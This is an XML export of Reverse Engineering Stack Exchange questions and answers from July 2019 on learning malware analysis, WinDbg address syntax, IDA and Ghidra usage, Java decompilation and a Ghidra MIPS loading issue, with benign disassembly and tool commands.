  <row Id="21679" PostTypeId="2" ParentId="21677" CreationDate="2019-07-15T13:31:49.620" Score="2" Body="&lt;p&gt;First of all, welcome to the fascinating and frustrating world of malware reversing.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What should I learn before I start to learn reverse engineering?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe that the best way is start to learn basic reverse engineering and improve as you go.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is learning programming with C/C++ a MUST?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it's not a &quot;MUST.&quot; However, if you don't know how to program, you will become easily frustrated. Let's think about it for a second, what's malware reverse engineering? Its the process of taking samples (binaries) or other forms of malicious code and trying to understand how the code was written, what its purpose and how it achieves it. &#xA;If you don't know how to program you are going to find it very difficult to reverse back code. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I know nothing about reverse engineering is Ghidra a good tool to learn with or should I become familiar with IDA and OllyDbg first?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would not recommend this tool, to begin with. You should probably start with a more fundamental approach, such as I described &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20984/most-efficient-way-to-begin-analyzing-malware-binary/21009#21009&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you probably want to go over the following StackExchange threads and for tutorials and learning paths:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/36331/becoming-a-malware-analyst&quot;&gt;Becoming a malware analyst&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/91309/how-to-get-started-as-a-malware-analyst&quot;&gt;How to get started as a malware analyst&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11834" LastEditorUserId="53" LastEditDate="2019-07-16T07:27:49.860" LastActivityDate="2019-07-16T07:27:49.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21681" PostTypeId="2" ParentId="21677" CreationDate="2019-07-15T18:08:01.720" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What should I learn before I start to learn reverse engineering? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assembly is a must&lt;/strong&gt;. Without deep understanding of assembly you cannot reverse engineer anything seriously. Additionally, you'll have to become familiar with relevant tools, depending on the platform; not knowing every detail of them, just basic use - you will learn more complex things in practice when you need them. I strongly recommend you to read this forum: you can, for instance sort questions by votes and read best answers - this way you'll get a basic insight on the topic.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is learning programming with C/C++ a MUST?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you &lt;strong&gt;really&lt;/strong&gt; don't want to - no, but it's &lt;strong&gt;highly recommended&lt;/strong&gt;. There are several reasons for it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Most of malware is written in &lt;code&gt;C/C++&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Decompilers will usually produce output in &lt;code&gt;C&lt;/code&gt; or pseudo-&lt;code&gt;C&lt;/code&gt; form, so it will be easier to understand it.&lt;/li&gt;&#xA;&lt;li&gt;Writing small, test programs in &lt;code&gt;C/C++&lt;/code&gt; and observing produced assembly is &lt;strong&gt;very&lt;/strong&gt; helpful in learning reverse engineering - you will get familiar with basic constructions, like calling conventions, loops, if-else or switch blocks, tricks performed for code optimization and many, many more.&lt;/li&gt;&#xA;&lt;li&gt;You will be able to analyse several malware source codes available in the Internet (see 1.).&lt;/li&gt;&#xA;&lt;li&gt;If you know the tool, you know what to expect from programs written in it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I know nothing about reverse engineering is Ghidra a good tool to learn with or should I become familiar with IDA and OllyDbg first?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would say, start with IDA. Why? Because it's probably the most widely used disassembler. Additionally, if you think of a job related to reverse engineering, you may often find familiarity with IDA as a requirement. Finally, from my personal experience (I started with IDA), it's very &lt;strong&gt;user friendly&lt;/strong&gt;, so you can fully focus on reverse engineering without focusing too much on &lt;strong&gt;how&lt;/strong&gt; to use a tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OllyDbg is a tool for dynamic analysis and you should start with static one (without running a program), since you'll have to &lt;strong&gt;fully understand the assembly&lt;/strong&gt; to benefit from debugger. But of course you should learn it at some moment.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any good sources/tutorials in particular that you recommend I have a look at?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Two books: &lt;a href=&quot;https://beginners.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering for Beginners&lt;/a&gt; and &lt;a href=&quot;https://repo.zenk-security.com/Virus-Infections-Detections-Preventions/Practical_Malware_Analysis.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Malware Analysis&lt;/a&gt; - you will get &lt;strong&gt;a lot of knowledge&lt;/strong&gt; if you read them. To see malware reverse engineering in practice, you can do the &lt;a href=&quot;https://www.cybrary.it/course/malware-analysis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;course on cybrary.it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-07-15T18:08:01.720" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21682" PostTypeId="1" AcceptedAnswerId="21684" CreationDate="2019-07-16T06:51:14.750" Score="1" ViewCount="65" Body="&lt;pre&gt;&lt;code&gt;kd&amp;gt; u win32k!impPsIsThreadTerminating+0xe4-c L5&#xA;    |   \              \                \  \   \&#xA;   /     \              \                \  \   \&#xA;  /       \              \                \  \   \&#xA;disassemble\              \                \  \   \&#xA;        ModuleName      SymbolName      Offset \   \&#xA;                                              ???   \ &#xA;                                                   ObjectCount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So How to intepret &lt;code&gt;-c&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="23774" LastActivityDate="2019-07-16T11:08:49.067" Title="What does -c mean in this Windbg Command Syntax?" Tags="|windows|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21684" PostTypeId="2" ParentId="21682" CreationDate="2019-07-16T11:08:49.067" Score="2" Body="&lt;p&gt;without any supporting context the &lt;strong&gt;-c&lt;/strong&gt; will be treated as &lt;strong&gt;0xc&lt;/strong&gt; and it will be subtracted from the address&lt;br&gt;&#xA;resolved by &lt;strong&gt;win32k!impPsIsThreadTerminating+0xe4&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;be aware the 0xe4 is will be properly relevant most of the times only if you have an unoptimized build.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;because after optimization functions can and will be divided into chunks &#xA;by the compiler     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the least probable paths of code flow will be placed either before or after the function  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose win32k!impPsIsThreadTerminating resolves to 0x000000007fffff00&lt;br&gt;&#xA;then if it is an unoptimized build&lt;br&gt;&#xA;&lt;strong&gt;win32k!impPsIsThreadTerminating+0xe4&lt;/strong&gt; will resolve to 0x000000007fffffe4    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now 0xc will be subtracted from this address and the unassemble command will unassemble 5 instruction from this address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ? vect!main&#xA;Evaluate expression: 140699673489328 = 00007ff7`320eefb0&#xA;&#xA;0:000&amp;gt; ? vect!main+e4&#xA;Evaluate expression: 140699673489556 = 00007ff7`320ef094&#xA;&#xA;0:000&amp;gt; ? vect!main+e4-c&#xA;Evaluate expression: 140699673489544 = 00007ff7`320ef088&#xA;&#xA;0:000&amp;gt; u vect!main+e4-c l5  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;&#xA;00007ff7`320ef088 30488d          xor     byte ptr [rax-73h],cl &amp;lt;&amp;lt;&amp;lt;&amp;lt; see address&#xA;00007ff7`320ef08b 4c2448          and     al,48h&#xA;00007ff7`320ef08e e81a63ffff      call    vect!ILT+17320 (00007ff7`320e53ad)&#xA;00007ff7`320ef093 eb0a            jmp     vect!main+0xef (00007ff7`320ef09f)&#xA;00007ff7`320ef095 488d4c2430      lea     rcx,[rsp+30h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-07-16T11:08:49.067" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21685" PostTypeId="1" AcceptedAnswerId="21688" CreationDate="2019-07-16T11:50:27.607" Score="0" ViewCount="200" Body="&lt;p&gt;I am quite new to reverse engineering. I have opened .dll (x86) in IDA Pro and I have noticed few exported functions. The issue is that all of them looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KQavy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQavy.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall GameLauncher_StartGameW(int a1, int a2, int a3, int a4, int a5, int a6, int a7)&#xA;{&#xA;  return (*(int (__stdcall **)(int, int, int, int, int, int))(*(_DWORD *)a1 + 8))(a2, a3, a4, a5, a6, a7);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand this correctly I need to get a1 object (eax) to actually get the function that I want to reverse engineer. Am I right? Is there any easy way to get this object to get the function offset?&lt;/p&gt;&#xA;" OwnerUserId="20549" LastActivityDate="2019-07-16T16:33:52.143" Title="Exported DLL function has only stdcall with some offset" Tags="|ida|windows|dll|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21686" PostTypeId="1" CreationDate="2019-07-16T12:52:45.740" Score="1" ViewCount="238" Body="&lt;p&gt;Which libraries do you use to parse and statically analyze .NET binaries? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a python module, or do I have to use a .NET library such as dnlib? Does it make sense to write a python wrapper for it, e.g. using pythonnet?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2019-07-16T12:52:45.740" Title="Parse / statically analyzing .NET binaries using python" Tags="|static-analysis|python|.net|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21688" PostTypeId="2" ParentId="21685" CreationDate="2019-07-16T16:33:52.143" Score="1" Body="&lt;p&gt;The easiest way would be just to set a breakpoint where the &lt;code&gt;call&lt;/code&gt; instruction is and then perform &lt;em&gt;step into&lt;/em&gt; - you will be redirected to the right function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check it statically assuming that you know where the &lt;code&gt;GameLauncher_StartGameW&lt;/code&gt; is called. Notice that  just before &lt;code&gt;call [eax+8]&lt;/code&gt;, &lt;code&gt;eax&lt;/code&gt; contains &lt;code&gt;*arg0&lt;/code&gt; value. If you know the arguments' values, you will also get the address of the function being called.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-07-16T16:33:52.143" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21690" PostTypeId="2" ParentId="21676" CreationDate="2019-07-16T18:05:55.597" Score="2" Body="&lt;p&gt;We cannot deduce it from the fragment of code you have provided (unless we are @Igor Skochinsky of course). However, we can notice a few things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ppMalloc&lt;/code&gt; contains the address of dynamically allocated array of function pointers&lt;/li&gt;&#xA;&lt;li&gt;the function called by &lt;code&gt;call [bx+0Ch]&lt;/code&gt; takes three arguments passed by stack: &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;34h&lt;/code&gt; (offset?) and a pointer to the address of that dynamically allocated array (that is the address of &lt;code&gt;ppMalloc&lt;/code&gt; pointer)&lt;/li&gt;&#xA;&lt;li&gt;at line &lt;code&gt;3051&lt;/code&gt; &lt;code&gt;es:bx&lt;/code&gt; points to the first element of that array and &lt;code&gt;es:[bx+0Ch]&lt;/code&gt; is fourth element in it&lt;/li&gt;&#xA;&lt;li&gt;depending on the value returned (in &lt;code&gt;dx:ax&lt;/code&gt;) the jump at the last line will or won't be performed (&lt;code&gt;or dx, ax&lt;/code&gt; checks whether &lt;code&gt;dx:ax&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; or not)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have any doubts the comments to the disassembly given below should clarify them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg04:3044                 push    0 ; push first argument&#xA;cseg04:3046                 push    34h ; '4' ; push the second one&#xA;cseg04:3048                 les     bx, ppMalloc ; es:bx = ppMalloc&#xA;cseg04:304C                 push    es&#xA;cseg04:304D                 push    bx ; push es:bx (ppMalloc)&#xA;cseg04:304E                 les     bx, es:[bx] ; es:bx = *ppMalloc (that is the value stored at dseg70:3612, i.e. pointer to array of function pointers, i.e. pointer to the first element of that array)&#xA;cseg04:3051                 call    dword ptr es:[bx+0Ch] ; call arrayOfFunctionPointers[3] - fourth entry as each entry is probably of dword size&#xA;cseg04:3055                 add     sp, 8 ; restore previous sp value&#xA;cseg04:3058                 mov     si, ax ; si = (returned result) % 2^16&#xA;cseg04:305A                 mov     [bp-6], dx ; [bp-6] = (returned result) / 2^16&#xA;cseg04:305D                 or      dx, ax ; will be 0 &amp;lt;=&amp;gt; (dx = 0 and ax = 0)&#xA;cseg04:305F                 jnz     short loc_105F8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-17T17:44:12.623" LastActivityDate="2019-07-17T17:44:12.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21691" PostTypeId="2" ParentId="21677" CreationDate="2019-07-16T18:29:18.780" Score="0" Body="&lt;p&gt;It's always good to have a big goal in mind, and with RE, the beginning stages of this pursuit may seem overwhelming. I see a lot of great answers here so just want to chip in with my take on what your immediate next steps should be.&lt;/p&gt;&#xA;&lt;p&gt;I agree, asm is a must. There's pros and cons for choosing a particular one but I suggest choosing one and really stick with it, and stay with a particular syntax so you can walk away from that stage in your learning feeling confident. Don't be afraid to learn C/C++ at the same time, they can be used to understand each other! A youtuber named &amp;quot;What's Creel&amp;quot; takes this approach in his assembly tutorials.&lt;/p&gt;&#xA;&lt;p&gt;I also want to encourage you to &amp;quot;go where your resources take you.&amp;quot; If you find a great tutorial using radare2, forget ghidra and ida for now just go with the teacher that's in front of you and that you like at that moment. To me this is true for systems as well. If you are watching John Hammond complete CTFs on youtube, download an Ubuntu iso for a virtual machine and follow along. Nothing beats hands on learning, and if you are exhausted learn to rest effectively as well! Eat well, exercise, get enough sleep etc.&lt;/p&gt;&#xA;&lt;p&gt;This brings me to my last point, know thyself! If you know what type of learner you are, seek those resources so you can learn more effectively. Personally I'm a mixture of visual, and social. That social piece really helps me whether it's listening to 2 people discuss something on a podcast or talking with someone myself over coffee, those conversations nail home the concepts I'm trying to comprehend. Some people can just read a manual and learn from that, or experiment with code till they understand what's going on. Whatever it is, just embrace and multiply it so you can avoid the (ultimate) feelings of despair technical fields like this have. These different approaches to learning might also differ depending on your mood or environment, so don't forget to be flexible!&#xA;Here's a list of resources, some directly support the RE / malware goal you've stated, and some indirectly will help you be it supporting technology knowledge or technical creativity.&lt;/p&gt;&#xA;&lt;h1&gt;Podcasts&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Security Now with Steve Gibson&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Software Engineering Daily&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Kubernetes Podcast&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CppCast&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Darknet Diaries (creativity!)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;YouTube tutorials&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Me, &lt;a href=&quot;https://youtu.be/_K_9yBHkXEE&quot; rel=&quot;nofollow noreferrer&quot;&gt;reading the intel manual&lt;/a&gt; and asking questions, beats reading alone&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Liveoverflow, very professional and engaging, start with his &lt;a href=&quot;https://youtu.be/iyAyN3GFM7A&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary Exploitation series&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Conferences, Conferences, Conferences. I learn so much from these talks maybe start with &lt;a href=&quot;https://youtu.be/HddFGPTAmtU&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cpp con 2018&lt;/a&gt; but you'll want a really good handle on the basics first&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ippsec, what can I say this guy &lt;a href=&quot;https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA&quot; rel=&quot;nofollow noreferrer&quot;&gt;does it all!&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;youtube is just a treasure trove, I'm sure I'm forgetting a ton...&lt;/p&gt;&#xA;&lt;h1&gt;Misc / Passive learning&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;TinyCards app, I made three decks of x86 assembly instructions&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;SoloLearn and Enki app, just basic programming language intro, q&amp;amp;a formart.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reddit, the AskNetSec subreddit seems to have the highest quality discussions&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Active Learning&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do! Create! Students just learning programming, hardware, networking, etc. will often complain to me about not understanding and when I ask what they've done the only things I hear are passive. You can't learn this stuff without getting your hands dirty, even if that means writing down your thoughts or questions (they don't need to be answered right away...) but if you can write programs or test malware in a VM yourself that'd be even better.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have a github account&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a learning journal for reflection&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The last thing I'd like to say, and I'm not trying to discourage you at all, but try to get a strong grasp of the fundamentals, doing so should accelerate your progress. I'm often reminded of this picture when I hear students talking about their tech dreams and 1 month into class I see they don't have the mental stamina to work on something for longer than 10 minutes, in this case though just replace &amp;quot;bug hunting&amp;quot; with &amp;quot;reverse engineering,&amp;quot; because they are both long term goals:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yiV0f.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yiV0f.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember, one step at a time!&lt;/p&gt;&#xA;" OwnerUserId="27988" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-19T00:13:32.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21692" PostTypeId="1" CreationDate="2019-07-16T18:36:14.313" Score="3" ViewCount="1010" Body="&lt;p&gt;I am trying to decompile Minecraft, to see if I can analyze the code to make a few small changes, but I need a decompiler good enough so I can recompile it in a way that will work. I have tried multiple decompilers online like javadecompilers.com. However, they don't work well for a variety of reasons, like they either throw errors, or the code does not look like original code, like all the variable names are replaced with snowman emojis or \u+5 digit number, for example, &lt;code&gt;\u26032&lt;/code&gt;. As for the snowman emojis, the java compiler won't be able to do distinguish different variables and cause name clashes. and for the \u numbers, the compiler might complain about stray \ in the program or something. Are there any easy to use compilers that work on Linux that are as accurate as possible, so accurate that decompiled code could be directly recompiled without having to fix the thousands of decompilation flaws?&lt;/p&gt;&#xA;" OwnerDisplayName="user29049" LastEditorDisplayName="user29049" LastEditDate="2019-07-31T16:24:49.060" LastActivityDate="2019-07-31T16:24:49.060" Title="Are there any Java decompilers accurate enough that if I recompiled the result, it should be identical to the original program?" Tags="|decompilation|java|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21693" PostTypeId="1" AcceptedAnswerId="21748" CreationDate="2019-07-16T19:52:53.840" Score="3" ViewCount="1780" Body="&lt;p&gt;I'm working on reverse engineering a firmware which I was able to get its functions control flow graphs to display successfully on Ghidra. I am trying to see if there is a way to save those control flow graphs as a text file or something parse able so that I can write a parser for it and use it in my program (I want to recreate the graph programmatically to train my program to detect certain functions). Thank you!&lt;/p&gt;&#xA;" OwnerUserId="28855" LastActivityDate="2019-07-23T19:07:41.007" Title="Save Ghidra's control flow graph into a parsable format" Tags="|ghidra|control-flow-graph|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21694" PostTypeId="2" ParentId="21692" CreationDate="2019-07-17T00:10:06.317" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt; is probably the decompiler most likely to produce code equivalent in behavior to the original (unless the code is using Java 8 lambdas, which Krakaau doesn't support). However, it is not possible to roundtrip decompile in general because compilation and decompilation are both lossy processes. And if the code has been obfuscated as Minecraft is, you'll be lucky if the results of decompilation are even understandable, let alone compileable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to edit obfuscated code, you need to learn how Java bytecode works and edit it at the bytecode level. Fortunately, besides the decompiler, Krakatau provides a bytecode assembler and disassembler which makes it easy to edit Java bytecode, even if it has been obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. No tool can recover the original variable or method names, because those simply aren't present in the compiled code. If you are seeing weird identifiers, it means that the code was obfuscated with a tool that strips out the original names and replaces them with meaningless names, which doesn't affect execution but obviously slows down reverse engineering. &lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="1739" LastEditDate="2019-07-17T16:49:52.917" LastActivityDate="2019-07-17T16:49:52.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21696" PostTypeId="2" ParentId="21693" CreationDate="2019-07-17T02:49:27.803" Score="2" Body="&lt;p&gt;You can do this using [headless analyser] (&lt;a href=&quot;https://ghidra.re/ghidra_docs/analyzeHeadlessREADME.html#recursive&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ghidra.re/ghidra_docs/analyzeHeadlessREADME.html#recursive&lt;/a&gt;) script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out it's usage &lt;a href=&quot;https://ghidra.re/ghidra_docs/analyzeHeadlessREADME.html#usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. You can find this file in &lt;code&gt;ghidhra/support&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ghidra api is available &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. You can use this api to write custom scripts, either in java or python 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./analyzeHeadless /projectloacation projectname -import /binary_location -postscript /yourscript-location -deleteproject&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To run your analysis. This command runs your script on binary by creating a new project and then deleting it later (&lt;code&gt;-deleteproject&lt;/code&gt; flag, which is optional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a lot of examples in their &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;github repository&lt;/a&gt;. &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/Base/src/main/java/ghidra/app/plugin/core/analysis/ObjectiveC1_MessageAnalyzer.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;e.g. script&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you said in your question, if you want to work with functions, you can:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;functions = currentProgram.getFunctionManager().getFunctions(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;get the list of functions (in python, changed the syntax if you are using java).&lt;/p&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2019-07-17T05:06:31.983" LastActivityDate="2019-07-17T05:06:31.983" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21697" PostTypeId="1" AcceptedAnswerId="21719" CreationDate="2019-07-17T03:13:13.653" Score="6" ViewCount="2428" Body="&lt;p&gt;I am poking around some PS2 ELFs and I found this weird issue where Ghidra seems to be doubling the value of this byte for some reason.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what Ghidra shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                             undefined Money_get()&#xA;             undefined         v0_lo:1        &amp;lt;RETURN&amp;gt;&#xA;                             Money_get                    XREF[1]:   Entry Point(*)&#xA;001bcb90 ec 00 01 3c     lui        at,0xec&#xA;001bcb94 98 00 03 3c     lui        v1,0x98&#xA;001bcb98 e8 aa 25 8c     lw         a1,-0x5518(at)=&amp;gt;DAT_00ebaae8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what IDA shows:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main:001BCB90 Money_get:                          # CODE XREF: plmove_find_02+178↑p&#xA;main:001BCB90                                     # Item_get+70↑p&#xA;main:001BCB90                 lui     $at, 0x76&#xA;main:001BCB94                 lui     $v1, 0x98&#xA;main:001BCB98                 lw      $a1, 0x7657A8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What IDA shows is the correct disassembly.  The first line is supposed to be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lui $at, 0x76  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for some reason Ghidra has doubled the 0x76 to 0xEC. And because of that the address loaded in the 3rd line is incorrect.   I've double checked that the input files are identical and I know IDA is the correct one because the gameshark code for this particular game modifies that address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even confirmed in a hex editor that the byte should be 0x76 but in Ghidra's own hex output it shows it as 0xEC.  So during input it's doubling it for some reason.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any reason why Ghidra is doing this?  I tried reloading the file and analyzing as a generic MIPS (thinking it was the PS2 ELF loader I used) and it did the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I did some more testing and when I strip off the ELF header and load the file as a raw binary then Ghidra loads it correctly.  So I wonder what in the ELF header would cause Ghidra to modify that byte?&lt;/p&gt;&#xA;" OwnerUserId="29052" LastEditorUserId="29052" LastEditDate="2019-07-17T16:35:27.273" LastActivityDate="2019-07-20T07:49:41.727" Title="Any reason why Ghidra is screwing with this byte in this dissassembly?" Tags="|disassembly|mips|ghidra|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
